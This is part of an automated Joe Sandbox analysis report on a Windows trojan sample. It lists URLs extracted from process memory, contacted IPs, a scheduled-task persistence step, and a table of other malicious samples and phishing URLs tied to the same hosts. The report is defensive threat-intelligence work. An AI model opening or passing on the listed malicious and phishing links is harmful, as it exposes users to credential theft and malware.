http://ifconfig.co/ip	node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/nodejs/node/issues/13435	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://goo.gl/t5IS6M).	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://tools.ietf.org/html/rfc7230#section-3.2.2	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://repository.swisssign.com/i	node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/commit/f7620fb96d339f704932f9bb9a0dceb9952df2d4	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://tnx.nl/ip	node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://tc39.github.io/ecma262/#sec-%iteratorprototype%-object	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false	URL Reputation: safe	unknown
https://files.starhome.io/downloads/winapp/latest-	node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://url.spec.whatwg.org/#concept-urlencoded-serializer	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://crl.dhimyotis.com/certignarootca.crl	node.exe, 00000022.00000002.614463630.0000000003361000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nodejs.org/download/release/v12.22.12/win-x86/node.lib	node.exe, 00000022.00000002.620060167.000000001CA40000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.612343687.0000000002217000.00000004.00000020.00020000.00000000.sdmp	false		high
https://wiki.squid-cache.org/SquidFaq/InnerWorkings#What_is_a_half-closed_filedescriptor.3F	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://ip-api.com/line/?fields=query	node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.cert.fnmt.es/dpcs/(f	node.exe, 00000022.00000002.614463630.0000000003361000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nodejs.org/api/fs.html	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://github.com/chalk/ansi-regex/blob/master/index.js	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://www.innosetup.com/	WingFtpServer.exe, 0000000E.00000003.314208758.000000007F6C0000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000000.327122347.0000000000401000.00000020.00000001.01000000.00000008.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://github.com/nodejs/node/pull/21313	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://www.midnight-commander.org/browser/lib/tty/key.c	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://nodejs.org/	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://tools.ietf.org/html/rfc7540#section-8.1.2.5	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://wwww.certigna.fr/autorites/0m	node.exe, 00000022.00000002.614463630.0000000003361000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.squid-cache.org/Doc/config/half_closed_clients/	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://stackoverflow.com/a/5501711/3561	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://crl.ver)	svchost.exe, 00000031.00000002.544706692.0000015A138E1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	low
http://tnx.nl/ip9	node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	false		high
http://narwhaljs.org)	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false	Avira URL Cloud: safe	low
https://www.ecma-international.org/ecma-262/#sec-promise.all	node.exe, 00000022.00000002.623548071.000000003ACC0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.604744457.0000000001801000.00000040.00000001.01000000.0000000E.sdmp, node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://code.google.com/p/chromium/issues/detail?id=25916	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://crl.securetrust.com/STCA.crl	node.exe, 00000022.00000002.614186818.0000000003317000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dynamic.t	svchost.exe, 00000009.00000002.311417918.000001D5F964E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311380844.000001D5F9642000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533511000.0000000003558000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.cert.fnmt.es/dpcs/	node.exe, 00000022.00000002.614463630.0000000003361000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nodejs.org/download/release/v12.22.12/node-v12.22.12-headers.tar.gz	node.exe, 00000022.00000002.620060167.000000001CA40000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.612343687.0000000002217000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/pull/12607	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false	URL Reputation: safe	unknown
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl	node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.accv.es00	node.exe, 00000022.00000003.533511000.0000000003558000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ispp.sourceforge.net/	WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.555929864.00000000009CC000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556447653.0000000002B80000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecma-international.org/ecma-262/#sec-line-terminators	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 00000009.00000003.310607336.000001D5F9659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311451621.000001D5F965A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 00000009.00000003.310479327.000001D5F965E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://sourcemaps.info/spec.html	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false	URL Reputation: safe	unknown
http://ispp.sourceforge.net/Informazioni	WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 00000009.00000003.310462310.000001D5F9661000.00000004.00000020.00020000.00000000.sdmp	false		high
https://invisible-island.net/xterm/ctlseqs/ctlseqs.html	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://github.com/nodejs/node/pull/12342	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://bugs.chromium.org/p/v8/issues/detail?id=6593	node.exe, 00000022.00000002.623548071.000000003ACC0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.604744457.0000000001801000.00000040.00000001.01000000.0000000E.sdmp, node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://github.com/v8/v8/blob/d6ead37d265d7215cf9c5f768f279e21bd170212/src/js/prologue.js#L152-L156	node.exe, 00000022.00000002.623548071.000000003ACC0000.00000004.00001000.00020000.00000000.sdmp, node.exe, 00000022.00000002.604744457.0000000001801000.00000040.00000001.01000000.0000000E.sdmp, node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://www.firmaprofesional.com/cps0	node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ipinfo.io/ip9	node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/nodejs/node/pull/34375	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://icanhazip.com/	node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.516616264.000000002F380000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/SGCA.crl0	node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://heycam.github.io/webidl/#dfn-default-iterator-object	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false	URL Reputation: safe	unknown
https://heycam.github.io/webidl/#es-iterable-entries	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false	URL Reputation: safe	unknown
https://heycam.github.io/webidl/#es-interfaces	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false	URL Reputation: safe	unknown
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 00000009.00000003.288603794.000001D5F9632000.00000004.00000020.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/multipage/browsers.html#concept-origin-opaque	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://github.com/da-x/rxvt-unicode/tree/v9.22-with-24bit-color	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://github.com/nodejs/node/issues	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://www.quovadisglobal.com/cps0	node.exe, 00000022.00000002.616216633.0000000003532000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000003.533201185.0000000003532000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tc39.github.io/ecma262/#sec-object.prototype.tostring	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false	URL Reputation: safe	unknown
https://url.spec.whatwg.org/#urlsearchparams	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://github.com/chalk/supports-color	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://github.com/nodejs/node/pull/30380#issuecomment-552948364	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://html.spec.whatwg.org/multipage/timers-and-user-prompts.html#dom-setinterval	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://heycam.github.io/webidl/#dfn-class-string	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false	URL Reputation: safe	unknown
https://heycam.github.io/webidl/#dfn-iterator-prototype-object	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false	URL Reputation: safe	unknown
https://nodejs.org/api/cli.html#cli_unhandled_rejections_mode).	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://ipinfo.io/ip(	node.exe, 00000022.00000003.413774747.0000000003565000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 00000009.00000002.311375207.000001D5F963D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.accv.es6	node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crlp	node.exe, 00000022.00000002.615283149.00000000034C0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/nodejs/node/issues/10673	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
http://ocsp.accv.es0	node.exe, 00000022.00000003.533511000.0000000003558000.00000004.00000800.00020000.00000000.sdmp, node.exe, 00000022.00000002.616322384.0000000003558000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://ispp.sourceforge.net/Over	WingFtpServer.exe, 0000000E.00000003.307414709.0000000002340000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.exe, 0000000E.00000002.553557875.0000000000977000.00000004.00001000.00020000.00000000.sdmp, WingFtpServer.tmp, 00000012.00000002.556863899.0000000002BB4000.00000004.00001000.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 00000009.00000003.310620113.000001D5F9640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.310660287.000001D5F9645000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/mafintosh/pump	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 00000009.00000003.310620113.000001D5F9640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.310607336.000001D5F9659000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311451621.000001D5F965A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.tiktok.com/legal/report/feedback	svchost.exe, 00000031.00000003.516815673.0000015A141AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000003.517655128.0000015A14196000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000003.518006368.0000015A14602000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000003.517149780.0000015A141AC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000031.00000003.517385479.0000015A14185000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://url.spec.whatwg.org/#concept-urlencoded-parser	node.exe, 00000022.00000002.582846721.0000000000E01000.00000040.00000001.01000000.0000000E.sdmp	false		high
https://dev.ditu.live.com/mapcontrol/mapconfiguration.ashx?name=native&v=	svchost.exe, 00000009.00000003.310649707.000001D5F9647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000003.310620113.000001D5F9640000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.311417918.000001D5F964E000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	files.starhome.io	European Union		13335	CLOUDFLARENETUS	false
142.93.96.73	register.starhome.io	United States		14061	DIGITALOCEAN-ASNUS	false

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	701216
Start date and time:	2022-09-12 10:16:34 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 12m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	z5i6tLOUD0.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	59
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal60.troj.evad.winEXE@75/22@2/3
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.8% (good quality ratio 98.1%) Quality average: 82.3% Quality standard deviation: 23.8%
HCA Information:	Successful, ratio: 98% Number of executed functions: 94 Number of non-executed functions: 62
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): BackgroundTransferHost.exe, WerFault.exe, backgroundTaskHost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21, 20.82.154.241, 20.82.228.9
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, eudb.ris.api.iris.microsoft.com, ctldl.windowsupdate.com, arc.msn.com, neus1c-displaycatalog.frontdoor.bigcatalog.commerce.microsoft.com, ris.api.iris.microsoft.com, rp-consumer-prod-displaycatalog-geomap.trafficmanager.net, login.live.com, neus2c-displaycatalog.frontdoor.bigcatalog.commerce.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, watson.telemetry.microsoft.com, displaycatalog-rp.md.mp.microsoft.com.akadns.net
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
10:17:42	API Interceptor	1x Sleep call for process: z5i6tLOUD0.exe modified
10:17:45	Task Scheduler	Run new task: Nafdfnasia path: "C:\Users\user\AppData\Roaming\cmd32.exe"
10:17:59	API Interceptor	1x Sleep call for process: WerFault.exe modified
10:18:55	API Interceptor	8x Sleep call for process: WMIC.exe modified
10:19:00	API Interceptor	1x Sleep call for process: MpCmdRun.exe modified
10:19:27	API Interceptor	8x Sleep call for process: svchost.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
188.114.96.3	SecuriteInfo.com.NSIS.Injector.AOW.tr.27003.exe	Get hash	malicious	Browse	cihno.shop/PL341/index.php
	SecuriteInfo.com.Win32.Malware-gen.7466.exe	Get hash	malicious	Browse	tixfilmz.ga/PWS/fre.php
	06 crypt.exe	Get hash	malicious	Browse	www.nhacaim88viet.xyz/sjit/?7nLpVrQ=bpJ2AuxGpxeatXHB9/iw4WELzXgZSdm3gXKYL7TfMGWJXUQnCBZbsJmtGloB/JivFEJgBwT0t94ZR2YfDpstWIuCggTKwFZWtg==&gV7=iN9TV
	Ordine R04-T4077 TBA-2022, pdf.exe	Get hash	malicious	Browse	www.ikoyslot4d.com/e65x/?-ZYH=9t4xM4ze5D9sSgmcMJM82YCPJr/CJkOXYl3jBf16WYgvzcRgRJoOjM+ChPN1gkjeji7LrCwrImwwmOIMME/InKLS9VqJKfDS/A==&DZT=uVMd
	jQegXWWQ3V.exe	Get hash	malicious	Browse	www.agenlexispkr.xyz/wuha/?w0Dl4fR8=sI34YYiaSFSRPyby7O8NbCzQCuULst05TLHASheG+uv4cbdo2QKafVAKSNDD67nHf1SuJdGGhUcNXz7jMZXDgXRy1RJOSZzjIA==&LJ=00DdVL0
	Letter of approval.exe	Get hash	malicious	Browse	www.6vrueh.xyz/gkp9/?3fKPXR=cXidRhXzuCkSmnlUSPeK0y+lKZhFpgyBGzZfPAMk/kDJnmjzt799f7bWx8Tgyu0vMC8xIILXGApGtBBovJYPzB3j0tgpwsXhFw==&Ez=4hLlw8rpP0oTZDt
	Request for 3 family.exe	Get hash	malicious	Browse	www.koinslot888.tech/rsea/?7nXX=IgNhV7Q0EIr5SWCRcvdql8E71Pwt+H14ClVvdwRmPY3rsL4cVyrowJmcdBgbXOJH93p/&p0=ntzH0LwpNvVXcL
	Strandpiberen.exe	Get hash	malicious	Browse	www.class888hk.com/nzec/?-ZJp=+nrQS92RuIHY8typGZ51XfAzKPzU8x2OQHibQgBmlmK6aXEbcAEYsl3/TubgKsrO8lkUYh11QpQh8AgGtLuxirHhrbVWBZT+7g==&7nYx_=3fCTW
	PQR-70993-317.pdf.exe	Get hash	malicious	Browse	www.88bet6677.com/sg94/?qT=2g6pE+fZkhcTs2D4RiOpEC/miaiOoG87p/3d0j5X3VxL1qKWCOaNRIfoN8EgmJHK9njz&z8=R4842XmHD4aDSdJP
	EUR Odeme Plani.exe	Get hash	malicious	Browse	zconnect.shop/PL341/index.php
	Ziraat Bankasi Swift Mesaji.exe	Get hash	malicious	Browse	www.mydappsync.net/b29a/?UpXh7=UG7byPYd0+bfdzeR90V2GOIPV9gSWZmS2NG2jvwPtscCRSnn+/FN22jVitchwOeDNzoA&DDK0V=5jZXvvqpGF1xWBUp
	sM6UPyyNir.exe	Get hash	malicious	Browse	www.himmerlandgolf.dk/
	6sfNp0TMe9.exe	Get hash	malicious	Browse	www.himmerlandgolf.dk/
	l8YrDt0zS5.exe	Get hash	malicious	Browse	dna-cp.com/
	35KGki4A3O.exe	Get hash	malicious	Browse	www.himmerlandgolf.dk/
	https://sharepoint.sudsafe.com/S54788NW45754Y7SU435MEW54MDS54788NW45754Y7SU435MEW54MD568ID568I568I568M58DM58S54788NW45754Y7SU435MEW54MD568ID568I568I568M58DM58568ID568I568I568M58DM58/?auth=bugreport@qualys.com	Get hash	malicious	Browse	sharepoint.sudsafe.com/wp-content/uploads/2022/07/555.jpg
	SecuriteInfo.com.Gen.Variant.Nemesis.10313.16738.22829.exe	Get hash	malicious	Browse	cihno.shop/PL341/index.php
	tGQ9T8Athj.exe	Get hash	malicious	Browse	dna-cp.com/
	Rk3R1RBX9x.exe	Get hash	malicious	Browse	www.himmerlandgolf.dk/
	M6r4CJqwMd.exe	Get hash	malicious	Browse	www.himmerlandgolf.dk/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
CLOUDFLARENETUS	Demurrage_INV.pdf.exe	Get hash	malicious	Browse	104.18.114.97
	Colt Policy.html	Get hash	malicious	Browse	172.67.216.137
	US$ 10700.docx.doc	Get hash	malicious	Browse	104.21.74.17
	remittance information.docx.doc	Get hash	malicious	Browse	172.67.167.140
	US$ 10700.docx.doc	Get hash	malicious	Browse	172.67.167.140
	remittance information.docx.doc	Get hash	malicious	Browse	172.67.167.140
	https://storageapi.fleek.co/33788173-3044-4331-ac19-2bb789eb34e5-bucket/sam/common/oauth2/?authoriseclient_id=4315ab9-913as3-40a0u-a4ut6-3536ade03&redirect_uri=https%3A%2F%2Fwww.office.com%2Flanding&response_type=code%20id_token&scope=openid%20profile&response_mode=form_post&nonce=637471761361998550.YTE5MmQzYzMtNTg2MS00NzQ4LTg5ZWQtOWQ3OGJiMjQ1MmE0MmUxOTg5NTQtYjFkOC00ZjhiLTlmMTUtMGE4ZTA0NWQyNzI2&ui_locales=en-US&mkt=en-US&client-request-id=68f9d7da-5456-46658e-88as69ads-06sad18ads19dsa076edb&state=Kck8msXjhXilh8v4_zjTdU2Y8mdE3_0__tttyi04kcOXzJoTHhQ1svBKB-jRrfgaTOJmXRCbtJ4MhyVHer_lbBxIQc1fngPy2KQ1PDy2bRhgW_B3CQiu4mC74gX2xXAL6ED040X0fitKWb16s7_lvfa_dHgwLhDdAj8YYTfOkJ-i_gR_Vwq9JV-PmXDli6FPm9jIY96qfojSHj9E_eYH4gsoIRDeKVRNQ456O12eZeHh8XklcKhwhMC0I5RWqoreJnf8ulumuhrlbzuxmIXBiQ&x-client-SKU=ID_NETSTANDARD2_0&x-client-ver=6.8.0.0	Get hash	malicious	Browse	104.18.7.145
	SecuriteInfo.com.Win32.RATX-gen.24895.exe	Get hash	malicious	Browse	104.18.114.97
	https://traninmovimento-my.sharepoint.com/:o:/g/personal/receptionognissanti_alegragroup_it/EjKWIPMMtPxLp7GMqSlDOYwB2vnqrXa7sn5YQh2olg7uzA?e=fc0ZLx	Get hash	malicious	Browse	104.17.25.14
	SecuriteInfo.com.NSIS.Injector.AOW.tr.27003.exe	Get hash	malicious	Browse	188.114.96.3
	SecuriteInfo.com.NSIS.Injector.AOW.tr.32496.exe	Get hash	malicious	Browse	172.67.184.5
	https://zii.to/checkdetails	Get hash	malicious	Browse	23.227.38.65
	hesaphareketi-01.exe	Get hash	malicious	Browse	162.159.134.233
	https://djkdv.safelinkbpm.com/c/nycbapQgB0aXfqv51C6oqA	Get hash	malicious	Browse	104.17.24.14
	Cheatuser74.exe	Get hash	malicious	Browse	104.22.0.235
	Voicemail746434358.htm	Get hash	malicious	Browse	104.18.11.207
	Voicemail746434358.htm	Get hash	malicious	Browse	104.18.11.207
	https://mailchi.mp/aba300a4b048/new-information	Get hash	malicious	Browse	104.16.149.64
	FveF8nauvN.exe	Get hash	malicious	Browse	162.159.130.233
	SecuriteInfo.com.Variant.Tedy.200463.8682.12520.exe	Get hash	malicious	Browse	162.159.129.233
DIGITALOCEAN-ASNUS	6i5ptcXlAk.exe	Get hash	malicious	Browse	159.65.11.164
	Mzr2l76rl8.dll	Get hash	malicious	Browse	138.197.151.48
	Invoice-Sep-09-document-175-scan.zip	Get hash	malicious	Browse	67.205.140.135
	channeling.dat.dll	Get hash	malicious	Browse	67.205.140.135
	channeling.dat.dll	Get hash	malicious	Browse	67.205.140.135
	botx.arm.elf	Get hash	malicious	Browse	206.189.30.130
	https://api.tribecrm.nl/public/email/8f3a9099-ca0b-4a98-8d1c-fb357c975f5e/link?d=aHR0cHM6Ly9oYm94eC50b3AvP2U9WVdoaGNuSnBjMjl1UUhSbFoyNWhMbU52YlE9PQ==	Get hash	malicious	Browse	138.68.21.224
	http://ref.webhostinghub.com/scripts/click.php?desturl=https://avitmfg.co/jiv/#bmVoYS5wYWh1amFAY29sdC5uZXQ=	Get hash	malicious	Browse	46.101.4.96
	SecuriteInfo.com.Variant.Barys.30112.3657.23804.exe	Get hash	malicious	Browse	157.245.246.87
	sprinkling.dll.dll	Get hash	malicious	Browse	138.197.151.48
	sprinkling.dll.dll	Get hash	malicious	Browse	138.197.151.48
	http://tracking.e-learmnignsd.com/tracking/click?d=kfUhOHW5WaJiAyNVZNCjQ1Elf4YpCEWVTaDsoMhrH0uz6STfvkf_htntQbG8jUODb7rfv5hiFvFj4rEKhV9f7XGRgLsqnmvAyAHFDFI0jk3ypOLnnom55fbeboApeZ03CljiLieZK8AtddDCTocBBARSNxAYK8LCDp41ZyHZJktliyaUD5limx7SE6VQ8VHNd8jmk3_dNExhkV_Q-WC2viQ1	Get hash	malicious	Browse	162.243.82.235
	https://ascendance.staging.tempurl.host/wp-word/#evanzee@rdgusa.com	Get hash	malicious	Browse	167.172.92.165
